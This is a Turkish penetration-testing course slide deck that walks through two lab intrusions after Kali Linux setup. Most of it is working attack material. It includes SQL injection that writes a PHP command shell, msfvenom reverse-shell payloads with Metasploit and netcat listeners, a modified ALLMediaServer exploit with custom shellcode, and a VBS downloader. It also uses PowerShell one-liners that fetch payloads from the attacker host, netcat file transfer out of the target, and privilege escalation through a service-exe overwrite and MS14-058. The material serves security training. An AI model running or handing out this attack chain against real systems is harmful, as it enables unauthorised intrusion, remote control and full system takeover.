4. TEMEL SIZMA TESTİ METODU
Bilgi Toplama
İstismar PAYLOAD'u
Gönderme
Girdi Noktalarının
Tespiti
SHELL Erişimi Sağlama ve Dosya Yükleme
Parola Saldırısı
Gerçekleştirme
Yetki Yükseltme ve Ele Geçirilen Sistemi Saldırı Platformu
Olarak Kullanmaya Başlama
6. SALDIRI (GİRDİ) NOKTALARI
• İnsan
• Tesis
• Ağ
• Sistem
• Uygulama (Servis)
Eğitimimizin odağını oluşturacaklar
İstemci taraflı saldırılarla ilgili
dolaylı olarak değineceğiz
8. İÇERİK
• Kali Linux Kurulumu
• Sistem-1 (Senaryo)
• Sistem-2 (Senaryo)
• Örnek Senaryolarda Kullanılan Araçlar
• Olası Sorular ve İlgili Bölümler
9. ÖNEMLİ UYARI
• Eğitimin bu bölümünde 2 farklı sisteme yönelik
saldırı senaryoları izlenecektir.
• Senaryolar sırasında ilk defa karşılaşıyor
olabileceğiniz ve tam olarak nasıl çalıştığını bu
noktada anlayamayabileceğiniz uygulamaları
gerçekleştireceksiniz.
• PANİK OLMAYIN !!!
• Bu uygulamalara teorik bilgi aktarılırken referans
verilecek, bu şekilde teorik bilginin sıkıcılığı azalırken
uygulamalarda oluşan sorularınız yanıt bulmaya
başlayacaktır.
10. ÖN ADIMLAR
• KALI Linux kurulumu
• Sistem-1 OVF imajının sanallaştırma uygulamasına
import edilmesi ve başlatılması
• Sistem-2 OVF imajının sanallaştırma uygulamasına
import edilmesi ve başlatılması (bu imaj için
eğitmenler tarafından bir uygulamanın başlatılması
gerekecektir)
11. KALİ LİNUX KURULUMU
• Kali Linux işletim sisteminin kurulumu herhangi bir
Linux işletim sisteminin kurulumundan farksızdır.
• İşletim sistemi ISO imajı "www.kali.org" sitesinden
indirilir.
• Kullandığınız sanallaştırma uygulaması ile yeni bir
sanal makine oluşturulur.
• Disk imajı olarak indirilen ISO imajı seçilir ve
bilgisayar CD'den boot edilmiş gibi işletim sistemi
başlatılır. İsterseniz Kali'yi bu şekilde (Live olarak) de
kullanabilirsiniz. Ancak bir diske kurulum
yapmadığınız takdirde dosya sistemine yazdığınız
veriler kalıcı olmayacaktır.
12. KALİ LİNUX KURULUMU
• Kurulum sırasında ana hatları ile aşağıdaki işlemler
gerçekleştirilir:
• (Sanal diskin) partition tablosunun oluşturulması
ve belirlenen partitionların dosya sistemlerinin
formatlanması.
• (İşletim sistemi kernel'ı da dahil) sistem
dosyalarının oluşturulan sanal diske
kopyalanması ve kurulum sırasında belirlenen
ayarların diske yazılması.
• Bootloader uygulamasının (bileşenlerinin)
partition tablosuna ve sanal diske yazılması.
13. KALİ LİNUX KURULUMU
• İşletim sistemlerinin başlatılma süreci ise ana hatları
ile şu şekildedir:
• Bilgisayar BIOS sistemi diskin ilk sektöründen
başlayan partition tablosunu okur.
• Partition tablosunda yer alan Master Boot
Record (MBR) içinde bulunan Bootloader kodu
devreye girer.
• Bootloader kodu işletim sistemi kernel'ını
hafızaya yükler.
• Kernel diskin dosya sistemini hayata geçirir ve
"init script"lerini işletir. Bu aşama
tamamlandığında işletim sistemi ayaktadır.
15. KALİ LİNUX KURULUMU
Kolay bir kurulum için
graphical install
seçeneğini seçiyoruz.
Kurulum yapmak
istemeseydik ve sadece
live olarak Kali'yi
kullanmak isteseydik bu
opsiyon ile işletim
sistemini başlatabilirdik.
17. KALİ LİNUX KURULUMU
Gerçek bir ortamda şifreninin bu
şekilde belirlenmesi önerilmez.
Ancak Kali öntanımlı olarak
herhangi bir servisi açık biçimde
kurulmaz, hatta yeni bir servis
kurduğunuzda bu servisin otomatik
olarak hayata geçirilmesini
engelleyecek biçimde
özelleştirilmiştir. Bu yüzden parolayı
unutmaktansa "toor" olarak
belirlemek tercih edilebilir.
19. KALİ LİNUX KURULUMU
Kurulumumuz tek partition (yani
dosya sistemi) barındıracak bir
disk oluşturacak.
Operasyonel işletim sistemlerinde
sistem dosyaları ve sürekli
büyüyen dosyaları farklı
partition'larda barındırmak
isteyebilirsiniz.
24. KALİ LİNUX KURULUMU
Bootloader'ın (GRUB) tek diskimiz
olan /dev/sda cihazına yazılması
önemli. Burada hata yaparsak
bootloader devreye giremeyecek,
dolayısıyla işletim sistemi de
ayağa kaldırılamayacaktır.
33. SİSTEM – 1 (SENARYO)
Kali bilgisayarımızın IP adresi
34. SİSTEM – 1 (SENARYO)
# netdiscover -r 192.168.163.0/24
Bizim ortamımızda diğer aktif sunucunun
137 adresli sunucu olduğunu ARP taraması
ile tespit ettik.
35. SİSTEM – 1 (SENARYO)
# nmap -A 192.168.163.137
Port taramamız sonucunda sunucu
üzerinde bir web sunucusu bulunduğunu
tespit ediyoruz.
36. SİSTEM – 1 (SENARYO)
Hedef sunucumuz üzerinde öntanımlı
kurulumda bırakılmış gibi görünen bir CMS
uygulaması var.
CMS uygulamasının adı nmap taramasında
da görüldüğü gibi Baby Gekko.
42. SİSTEM – 1 (SENARYO)
Uygulama versiyonunu bulabilmek için
açıklık barındıran uygulamanın bir
kopyasını indirerek içinde versiyon
bilgisini barındıran bir dosya arayabiliriz.
Eğer bulabilirsek daha sonra bu dosyaya
anonim olarak erişebilir miyiz diye
inceleyebiliriz.
45. SİSTEM – 1 (SENARYO)
Admin olmadan versiyonu görmemiz zor
görünüyor.
46. SİSTEM – 1 (SENARYO)
Stored XSS uygulama
yöneticisinin oturum
parametresini çalmamıza
yarayabilir. Ancak bu saldırı için
sabırlı olmamız gerekir.
Bu açıklıkla ilgili özet bilgi pek
açıklayıcı değil. Detaylı bilgi için
inceleyelim.
47. SİSTEM – 1 (SENARYO)
Bu versiyonda SQL Injection, Local File Inclusion ve XSS
açıklıkları var. LFI'ı denediğimizde uygulama hata alıyor. Bu
nedenle SQLi açıklığını deneyelim.
Ancak SQLi için Admin erişimine ihtiyacımız var, çünkü SQLi
açıklıkları bu kullanıcının erişebildiği sayfalarda mevcut.
48. SİSTEM – 1 (SENARYO)
Parola listesi oluşturmak için
kullandığımız araç:
# cewl http://192.168.163.137
49. SİSTEM – 1 (SENARYO)
cewl ile web sitesinin ilk sayfasında
bulunan kelimelerden bir sözlük dosyası
oluşturduk. Ancak bu sözlükteki
kelimelerden farklı bir sözlük türetmek
için John the Ripper programının rule
özelliğinden faydalanabiliriz.
JTR ile birlikte gelen konfigürasyon
dosyasına ek olarak KoreLogic
tarafından geliştirilmiş olan kuralları
kullanabiliriz.
59. SİSTEM – 1 (SENARYO)
http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1')
UNION SELECT 1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO OUTFILE '/tmp/.class.php' -- 2
60. SİSTEM – 1 (SENARYO)
http://192.168.163.137/admin/index.php?app=users&ajax=1&action=search&keyw
ord=1') UNION SELECT 1,2,3,4,5,6,7,8 ,'<?php phpinfo(); ?>' INTO OUTFILE
'/var/www/html/test.php' -- 2
Bizim ortamımızda PHP
kodunun çalışabilmesi için <?
sonrasında bir de "php"
ifadesini eklemek
durumunda kaldık.
63. SİSTEM – 1 (SENARYO)
http://192.168.163.137/admin/index.php?app=users&ajax=1&action=search&keyw
ord=1') UNION SELECT 1,2,3,4,5,6,7,8 , "<?php System($_REQUEST['cmd']); ?>"
INTO OUTFILE '/var/www/html/cmd.php' -- 2
Bu defa daha işe yarar bir
payload ile bir php dosyası
oluşturalım
64. SİSTEM – 1 (SENARYO)
BİR SONRAKİ ADIM
Bize shell açacak bir
payload'u hedef bilgisayar
üzerine atmak ve bu kodu
çalıştırmak olacak.
cmd.php uygulaması
sayesinde hedef bilgisayar
üzerinde sistem komutu
çalıştırmayı başardık.
65. SİSTEM – 1 (SENARYO)
# msfvenom -p php/meterpreter/reverse_tcp
LHOST=192.168.163.138 LPORT=4444 -f raw > payload.txt
msfvenom ile bir reverse meterpreter
oturumu başlatacak olan PHP payload'u
üretiyoruz.
66. SİSTEM – 1 (SENARYO)
http://192.168.163.137/cmd.php?cmd=nc -vv -l 1234 > reverse.php
Hedef bilgisayar üzerinde (bir linux
sunucu olduğu için) netcat ile TCP 1234
portundan dinleyecek ve gelen veriyi
"reverse.php" dosyasına aktaracak olan
sistem komutunu çalıştırıyoruz.
67. SİSTEM – 1 (SENARYO)
# nc -vv 192.168.163.137 1234 < payload.txt
Saldırı bilgisayarımızdan
oluşturduğumu PHP payload'unu hedef
bilgisayara aktarıyoruz.
68. SİSTEM – 1 (SENARYO)
# msfconsole
Hedef bilgisayardan gelecek olan
bağlantıyı ele almak üzere msfconsole'u
başlatıyoruz.
69. SİSTEM – 1 (SENARYO)
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.163.138
set LPORT 4444
run
70. SİSTEM – 1 (SENARYO)
http://192.168.163.137/reverse.php
Hedef bilgisayar üzerinde netcat ile
aktardığımız payload script'ini
çalıştırıyoruz.
71. SİSTEM – 1 (SENARYO)
Handler'ımız hedeften gelen bağlantıyı
ele aldı ve meterpreter oturumumuz
başlatıldı.
72. SİSTEM – 1 (SENARYO)
shell
whoami
uname -a
cat /etc/*-release
Ubuntu 14.04
Kernel 3.13.0-32-generic
Yetki yükseltme adımı için bilgi
toplamaya başlıyoruz.
73. SİSTEM – 1 (SENARYO)
Hedef bilgisayarın işletim sistemi kernel
versiyonuna uygun bir Local Privilege
Escalation exploit'u arayabiliriz.
74. SİSTEM – 1 (SENARYO)
Bulduğumuz kaynaklar içinde bazen
exploit kaynak koduna bazen de
derlenmiş exploit koduna rastlayabiliriz.
Derleme işleminin en sağlıklı
yapılabileceği sistem hedef sistemdir,
ancak her zaman hedef sistem üzerinde
bir derleyici bulamayabiliriz. Bu gibi
durumlarda derlenmiş bir exploit bizim
için daha pratik olacaktır.
76. SİSTEM – 1 (SENARYO)
exit (shell'den ayrılıyoruz)
[Meterpreter]
upload ./Downloads/ofs_64
shell
[Shell]
cd /tmp
ls -al ofs_64
chmod +x ofs_64
./ofs_64
# id
YETKİ YÜKSELTME –
PRIVILEGE ESCALATION
77. SİSTEM – 1 (SENARYO)
ÖZETLE;
• Port taraması ile tespit ettiğimiz web
uygulamasının açıklık barındıran bir uygulama
olduğunu öğrendik.
• Uygulamanın admin logon sayfasını tespit ettik
ve admin şifresini sözlük saldırısı ile kırdık.
• Admin profili ile SQLi saldırısı gerçekleştirerek
hedef sisteme sistem komutları çalıştırabilen bir
PHP dosyası yazdık.
• "msfvenom" ile bir PHP reverse meterpreter
payload'u oluşturduk ve bu dosyayı hedef
sisteme attık.
78. SİSTEM – 1 (SENARYO)
ÖZETLE (devamı);
• "msfconsole" uygulamasının
exploit/multi/handler modülü ile reverse
bağlantıyı karşıladık ve meterpreter oturumu
başlattık. Sağladığımız erişim "www-data" adlı
kullanıcı haklarıyla sağlanmıştı.
• Yetki yükseltme için bilgi topladık ve bir local
privilege exploit kullanarak "root" kullanıcısı
olduk.
Not: Normalde yetki yükseltme aşamasına hemen geçmeden "www-data"
kullanıcısının dahil olduğu grupları ("id" komutu ile) ve sudo haklarını ("sudo
–l" komutu ile) kontrol etmemiz gerekir. Belki de zaten yüksek erişim
haklarına sahibizdir.
80. SİSTEM – 2 (SENARYO)
# netdiscover -r 192.168.163.0/24
BU ADIMDAN SONRA
EĞİTMENİNİZİN
SİSTEMİNİZDE BİR İŞLEM
GERÇEKLEŞTİRMESİ
GEREKLİDİR !!!
81. SİSTEM – 2 (SENARYO)
# nmap -A 192.168.163.140
Nmap'in işletim sistemi
tahmini
82. SİSTEM – 2 (SENARYO)
Netcat ile TCP 888 portuna
bağlandıktan (TCP handshake
tamamlandıktan) hemen sonra sunucu
bağlantıyı sonlandırıyor.
83. SİSTEM – 2 (SENARYO)
Bilinen portlar incelemesi.
84. SİSTEM – 2 (SENARYO)
# nmap -sU -sV --top-ports 20
192.168.163.140
UDP port tarama
Nmap SNMP community
string tespiti de yapmış
85. SİSTEM – 2 (SENARYO)
Hedef bilgisayarımızın
Windows olduğundan
şüpheleniyoruz, ancak
Netbios taraması herhangi bir
sonuç döndürmedi.
Neden?..
86. SİSTEM – 2 (SENARYO)
# snmp-check -c public 192.168.163.140
Netbios taramasından sunucu
adını öğrenemesek de SNMP
sorguları ile sunucunun adını
elde edebildik.
87. SİSTEM – 2 (SENARYO)
Kullanıcı hesaplarını elde
edebildik. Ancak uzaktan
saldırı için şu aşamada bir
işimize yaramıyor.
Neden?..
88. SİSTEM – 2 (SENARYO)
Hedef sunucumuz
92.222.129.112 IP adresli
başka bir sunucuyla TCP 80
portundan iletişim kurmuş
görünüyor.
89. SİSTEM – 2 (SENARYO)
# whois 92.222.129.112
Whois sorgusunda
92.222.129.112 IP adresinin
de içinde bulunduğu IP
aralığının sahibinin ALLPlayer
olarak geçiyor. Artur bir kişi
ismine benziyor.
91. SİSTEM – 2 (SENARYO)
Çalışan proses'lerden
birisinin adı ALLMediaServer
olarak geçiyor.
92. SİSTEM – 2 (SENARYO)
Zayıf bir ilişki de olsa TCP 888
portu ile ilgili bir ifade ürünle
ilgili bir sayfada geçiyor.
93. SİSTEM – 2 (SENARYO)
TCP 888 portunda çalışan
servisin ALLMedia Server ile
ilgili olduğuna dair şüphemiz
güçlendiği için bu
uygulamayla ilgili istismar
kodu var mı arıyoruz.
Birinci istismar kodunu içinde
bulunduğumuz dizine
kopyalıyoruz.
94. SİSTEM – 2 (SENARYO)
Windows 7 üzerinde çalışan
bir istismar kodu. Bizim
işletim sistemi tahminimizle
de uyumlu.
95. SİSTEM – 2 (SENARYO)
İstismar kodu içinde
bulunan shell code bir
reverse tcp kodu, ancak
bizim ihtiyacımıza
uygun değil.
Çünkü bizim istediğimiz
adrese dönmesi lazım.
96. SİSTEM – 2 (SENARYO)
Reverse TCP
bağlantısının kurulması
için bilgisayarımızın IP
adresini kontrol edelim.
97. SİSTEM – 2 (SENARYO)
# msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp
LHOST=192.168.163.138 LPORT=4444 -e x86/shikata_ga_nai -b 'x00' -i 3 -f
python > payload.txt
Python reverse tcp shell
payload'umuzu oluşturuyoruz.
Dönüş yapacağımız TCP port'u 4444
98. SİSTEM – 2 (SENARYO)
Bizim oluşturduğumuz
shell code.
99. SİSTEM – 2 (SENARYO)
Kendi shellcode'umuzu
yerleştirdikten sonra
istismar kodundaki
yerel değişken
isimlerinden dolayı
taranmış alanda da
gösterilen düzenlemeyi
yapıyoruz.
100. SİSTEM – 2 (SENARYO)
ALLMedia Server olduğundan şüphelendiğimiz
servisi exploit etmeye hazırız.
Dönen shell'i karşılamak için Netcat ile TCP 4444
portundan dinlemeye başlıyoruz.
102. SİSTEM – 2 (SENARYO)
whoami /groups komutu ile kullanıcımızın dahil
olduğu grupları listelediğimizde Administrators
grubuna dahil olduğumuzu görüyoruz. Bu oldukça
iyi, ancak Windows işletim sisteminde en yüksek
erişim hakkına sahip kullanıcı System kullanıcısı.
103. SİSTEM – 2 (SENARYO)
wmic service get name,displayname,pathname,startmode
Windows bilgisayarlarda yetki yükseltmek için faydalanabileceğimiz
zayıflıklardan birisi de servis kodlarının erişim kontrol zayıflığıdır. Bunun için
önce "wmic service get" komutu ile tüm servisleri listeleyelim.
104. SİSTEM – 2 (SENARYO)
wmic service get name,displayname,pathname,startmode | findstr /i /v
"windows"
Hedefimizi biraz daha daraltmak için içinde Windows geçmeyen satırları
arayalım. C:Windows dizini dışında bulunan çalıştırılabilir kodların erişim
hakları daha gevşek olabilir düşüncesi ile böyle bir inceleme yapabiliriz.
105. SİSTEM – 2 (SENARYO)
cacls C:btrisk
Kullanıcımızın da içinde
olduğu Administrators
grubunun C:btrisk
dizinine Full erişim
hakkı var.
106. Hedef sistem üzerinde
daha rahat işlem
yapabilmek için dosya
aktarabilmemiz lazım.
Windows ortamında
wget benzeri bir
fonksiyonaliteyi bu vb
script ile oluşturabiliriz.
SİSTEM – 2 (SENARYO)
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
107. SİSTEM – 2 (SENARYO)
Script'imizi yazarken
erişim hakkı problemi
yaşamamak için
C:WindowsTemp
dizinine geçiyoruz.
Script'i kopyala yapıştır
işlemiyle shell'imize
yazabiliriz. Shell
erişimimiz üzerinden
hedef bilgisayar
üzerinde wget.vbs
script'imiz oluşacaktır.
108. SİSTEM – 2 (SENARYO)
Servis exe'sini ezmek ve bu exe'yi harekete geçirerek hedef sisteme
System kullanıcı hakları ile bağlanmak amacıyla servis exe türünde bir
payload oluşturuyoruz. Bu payload bilgisayarımıza TCP 5555 portundan
bağlanacak.
# msfvenom --platform windows -p windows/x64/shell_reverse_tcp
LHOST=192.168.163.138 LPORT=5555 -f exe-service -o service.exe
# python -m SimpleHTTPServer 80
SimpleHTTPServer Python
modülü ile basit bir HTTP
servisini içinde bulunduğumuz
dizin içinde başlatıyoruz.
109. SİSTEM – 2 (SENARYO)
cscript wget.vbs http://192.168.163.138/service.exe service.exe
wget.vbs script'i ile servis exe'mizi hedef bilgisayara çekiyoruz. Daha sonra
yazma hakkımız olduğu için bu dosya ile asıl servis kodunu eziyoruz.
110. SİSTEM – 2 (SENARYO)
Servis tekrar başlatıldığında
System kullanıcı hakları ile
açılacak shell'i beklemek
amacıyla TCP 5555 portundan
dinlemeye başlıyoruz.
111. SİSTEM – 2 (SENARYO)
net stop btrservice
net start btrservice
Btrservice servisimizi tekrar
başlatarak reverse shell
bağlantısının kurulmasını
sağlıyoruz.
113. SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
• Az önceki örneğimizde hedef bilgisayarımızdaki bir
yetkilendirme konfigürasyon hatasından
faydalandık.
• Bu örneğimizde ise hedef bilgisayarda bir lokal
exploit kullanarak yetki yükseltme adımını
gerçekleştireceğiz.
114. Bu script'in kodunu GitHub'ın
web sitesinden "raw"
düğmesine sağ klikleyerek kodu
indirebilirsiniz
Hedef sistem üzerinde SYSTEM haklarına
geçiş yapabilmek için sistemin eksik
yamalarını inceleyeceğiz. Bunun için
hedef sunucudan alacağımız
"systeminfo" komutunun sonuçlarını
Windows Exploit Suggester script'i ile
analiz edeceğiz.
SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
115. Windows-exploit-suggester.py script'imize
çalıştırma izni verdikten sonra "--update"
opsiyonuyla çalıştırıyoruz. Bu işlem
sayesinde script'imiz güncel güncelleme
listesini bir XLS dosyası olarak indiriyor.
./windows-exploit-suggester.py --update
SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
116. Küçük bir ayrıntı ancak Python script'imiz bir
XLS dosyayı girdi olarak alacağı için XLRD
python paketinin yüklenmesi gerekiyor.
pip install xlrd
SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
117. SİSTEM – 2 (SENARYO)
locate nc.exe
Hedef işletim sistemi Windows olduğunda Linux'daki kadar zengin upload ve
download imkanlarına sahip değiliz. Hedef sisteme upload yapabilmek için daha
önce bir VBS script'i oluşturduk, ayrıca Windows işletim sistemi bize Powershell,
BITS gibi ek imkanlar da sunuyor upload işlemi için. Ancak Windows'dan saldırı
platformumuza download için imkanlarımız daha kısıtlı. Bu kısıtı aşabilmekve bu
sistemden (saldırı sistemimize) download kabiliyetimizi artırmak için hedef sisteme
NetCat'i yükleyebiliriz.
Yetki Yükseltme
Alternatif Senaryo
118. SİSTEM – 2 (SENARYO)
python -m SimpleHTTPServer 80
NetCat'i yüklemek için basit HTTP
sunucumuzu başlatalım.
Yetki Yükseltme
Alternatif Senaryo
119. SİSTEM – 2 (SENARYO)
powershell -exec bypass -c "(New-Object
System.Net.WebClient).DownloadFile('http://192.168.152.192/
nc.exe','C:WindowsTempnc.exe')";
Bu PowerShell oneliner ile hedef sisteme bir dosyayı HTTP üzerinden indirebiliriz.
PowerShell son derece güçlü bir araç ve oldukça esnek. Bu nedenle gerçek hayat
senaryolarında izlenme ihtimali de yüksek olduğundan Red Team senaryolarında
daha önce oluşturduğumuz VBS script'inin tercih edildiği durumlar da olabilir.
Yetki Yükseltme
Alternatif Senaryo
120. SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
121. SİSTEM – 2 (SENARYO)
systeminfo > C:WindowsTempsysteminfo.txt
"systeminfo" komutu ile hedef bilgisayar hakkındaki temel bilgiler (işletim sistemi
versiyon ve mimarisi gibi) ile birlikte yüklenmiş olan yamaların (hotfix'ler) da
listesini alabiliriz.
Yetki Yükseltme
Alternatif Senaryo
122. SİSTEM – 2 (SENARYO)
nc -vv -lp 8888 > systeminfo.txt
Bir Linux sistemi olan Sistem-1 senaryosunda NetCat'i hedef sisteme dosya
aktarmak için bir PHP uygulaması aracılığı ile kullanmıştık. Bu defa tam tersi yönde
dosya aktarımı için NetCat'i kullanacağız. Bu imkan sayesinde hedef sistem
üzerinde çalıştırdığımız "systeminfo" komutunun çıktısını dosya olarak indireceğiz.
Yetki Yükseltme
Alternatif Senaryo
123. SİSTEM – 2 (SENARYO)
nc -vv -w 10 192.168.152.192 8888 < systeminfo.txt
Hedef Windows sistemi üzerinde çalıştıracağımız bu komutla dosyayı saldırı
sistemimiz üzerinde dinlemekte olduğumuz TCP 8888 portuna iletiyoruz. Bu
kullanımda "-w 10" parametresi bağlantının 10 sn. sonra sonlandırılması için
kullanılmaktadır. Eğer aktarım süreniz daha uzunsa bu süreyi uzatmalısınız.
Yetki Yükseltme
Alternatif Senaryo
124. SİSTEM – 2 (SENARYO)
Saldırı sistemimizde gelen dosyayı kaydettik ve Windows'da çalışan NetCat
uygulaması bağlantıyı sonlandırdığında dinleyen NetCat'de çalışmayı sonlandırdı.
Yetki Yükseltme
Alternatif Senaryo
125. SİSTEM – 2 (SENARYO)
./windows-exploit-suggester.py -i systeminfo.txt -d
2019-01-11-mssb.xls > winexploits.txt
Daha önce indirdiğimiz exploit suggester uygulamamızla Microsoft'tan yeni
güncellediğimiz yama listesini ve hedef sistem üzerinde mevcut yamaları
karşılaştıralım. Bu işlemi gözle daha yapabileceğimizi unutmayalım.
Yetki Yükseltme
Alternatif Senaryo
126. SİSTEM – 2 (SENARYO)
Exploit Suggester script'inin çıktılarını inceleyerek potansiyel lokal exploit'leri
araştırıp, bulup hedef sistem üzerinde deneyebiliriz. Başında [E] olan satırlar
Exploit-Db'de mevcut lokal exploit'leri, [M] olan satırlar Metasploit'te mevcut olan
lokal exploit'leri belirtmek için kullanılmış. Ancak farklı kaynaklardan da lokal
exploit bulmak mümkün.
Yetki Yükseltme
Alternatif Senaryo
127. SİSTEM – 2 (SENARYO)
Bu adımda pek çok exploit tek tek denenebilir, ancak kararlı bir lokal exploit'i daha
önceden deneyimlemişseniz elbette ilk denemek isteyeceğiniz exploit bu olabilir.
Bu örnekte pek çok saldırıda da kullanıldığını bildiğimiz MS14-058 lokal exploit'ini
kullanacağız. Bu exploit'in Metasploit modülü de var, ancak biz bu örnekte farklı
bir exploit kodunu internetten bularak kullanacağız.
Yetki Yükseltme
Alternatif Senaryo
128. SİSTEM – 2 (SENARYO)
MS14-058 için ekranda görülen linkli RAR
paketini kullanabiliriz.
Yetki Yükseltme
Alternatif Senaryo
129. SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
130. SİSTEM – 2 (SENARYO)
Hedef sistemimiz 64 bit'lik bir işletim sistemi
olduğu için Win64.exe dosyasını /root/
dizinine çıkaralım.
Yetki Yükseltme
Alternatif Senaryo
131. SİSTEM – 2 (SENARYO)
Win64.exe dosyasının içinde bulunduğu
/root/ dizininin içinden basit HTTP
servisimizi başlatalım.
Yetki Yükseltme
Alternatif Senaryo
133. SİSTEM – 2 (SENARYO)
msfvenom -p windows/x64/shell_reverse_tcp
LHOST=192.168.152.192 LPORT=5555 -f exe > shell.exe
Win64.exe exploit kodumuzla tetikleyeceğimiz ve bize "SYSTEM"
kullanıcı hakları ile ikinci bir shell açacak olan payload'umuzu
"msfvenom" ile oluşturalım.
Yetki Yükseltme
Alternatif Senaryo
134. SİSTEM – 2 (SENARYO)
powershell -exec bypass -c "(New-Object
System.Net.WebClient).DownloadFile('http://192.168.152.192/
shell.exe','C:WindowsTempshell.exe')";
Reverse TCP shell payload'umuzu da hedef sisteme PowerShell
yardımı ile yükleyelim.
Yetki Yükseltme
Alternatif Senaryo
135. SİSTEM – 2 (SENARYO)
İki dosyamızın da hedef bilgisayar tarafından çekilip çekilmediğini
basit HTTP sunucumuzu başlattığımız konsolumuzdan görebiliriz.
Yetki Yükseltme
Alternatif Senaryo
136. SİSTEM – 2 (SENARYO)
"SYSTEM" hakları ile bağlantı kurmasını beklediğimiz
payload'umuzu karşılamak üzere TCP 5555 portundan dinleyen
servisimizi başlatalım.
Yetki Yükseltme
Alternatif Senaryo
138. SİSTEM – 2 (SENARYO)
Reverse TCP shell'imizi aldığımızda "whoami" komutu ile kullanıcı
haklarımızı kontrol edebiliriz.
Yetki Yükseltme
Alternatif Senaryo
139. SİSTEM – 2 (SENARYO)
ÖZETLE;
• TCP port taramasında bir servis tespit ettik ancak
ne servisi olduğu ve versiyonu ile ilgili bilgi
edinemedik.
• UDP port taramasında SNMP servisini ve
community string olarak "public" kelimesini
kullandığını tespit ettik.
• SNMP sorguları ile servisin ALLMediaServer
olduğuna dair bir fikir oluştu.
• Bu uygulama için yayınlanmış bir exploit kodunu
düzenledik ve shell aldık.
140. SİSTEM – 2 (SENARYO)
ÖZETLE (devamı);
• Yetki yükseltme çalışmaları için dosya yükleme
imkanı geliştirdik (wget.vbs ile)
• Hedef Windows bilgisayar üzerindeki servisleri ve
bu servislerin kodlarının bulunduğu dizinleri
inceledik.
• Erişim kontrolü yetersiz bir servis exe'sini kendi
payload'umuzla ezerek System erişimi elde ettik.
• Alternatif bir yetki yükseltme senaryosu olarak
MS14-058 yamasının yüklenmediğini tespit
ettiğimiz hedef sistem üzerinde bu exploit
vasıtasıyla yetkimizi yükselttik.
141. ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
ifconfig Linux IP adres bilgilerini gösterir.
netdiscover Kali ARP vd. tekniklerle sunucu keşfi yapar.
nmap Kali
Port tarama, işletim sistemi ve servis keşfi yapar. Ayrıca
çeşitli yardımcı scriptler ile açıklık taramaları yapar.
searchsploit Kali
Kali üzerinde bulunan Exploit DB istismar kodları içinde
arama yapmak için kullanılır.
Burp Suite Kali
Web attack proxy aracıdır. Ücretsiz sürümündeki
fonksiyonalite sınırlıdır.
nikto Kali
Web sunucuları üzerinde belirli açıklıkları tarar ve backend
içerik taraması gerçekleştirir.
dirb Kali
Web sunucuları üzerinde frontend ve backend içerik
taraması gerçekleştirir.
Exploit DB web
sitesi
Web
İstismar kodlarının toplu biçimde sunulduğu bir web
sitesidir.
unzip Linux Linux üzerinde zip'li dosyaları açmak için kullanılır.
142. ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
grep Linux
Linux üzerinde belirli bir kelimeyi dosyalar ve stdin içinde
arar, kelimenin bulunduğu satırı çıktı olarak üretir.
cewl Kali
Verilen hedef web sayfasındaki kelimelerden parola
sözlüğü oluşturur.
head Linux Belli bir dosyanın ilk satılarını görüntüler.
KoreLogic JTR
rule'ları
Kali
JTR parola kırma aracının parola üretme fonksiyonalitesi
için özel kurallar barındırır.
John the Ripper Kali
Çevrim dışı (offline) parola kırma aracıdır. Biz parola
sözlüğü türetmek için kullandık.
OWASP ZAP Kali Web attack proxy aracıdır.
msfvenom Kali
İstismar payload kodu üretmek için kullanılır. Makine dili
(executable) dahil pek çok dilde istismar kodu üretir.
netcat Kali
TCP ve UDP istemci ve sunucu olarak kullanılabilir. Ayrıca
port tarama imkanı da vardır.
msfconsole Kali
Metasploit framework'ün en çok kullanılan arayüzüdür.
Exploit işlemini otomatikleştirmek için pek çok
fonksiyonalitesi vardır.
143. ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
meterpreter Kali
Çok aşamalı istismar kodu gönderme mimarisinde ve çeşitli
fonksiyonaliteleri sağlayan payload framework'üdür.
whoami
Linux /
Windows
Mevcut kullanıcı adımızı ve diğer bilgileri sorgulamayı
sağlar.
uname -a Linux
Linux sunucu adı, versiyonu ve kernel versiyonu bilgilerini
listeler.
cat /etc/*-release Linux
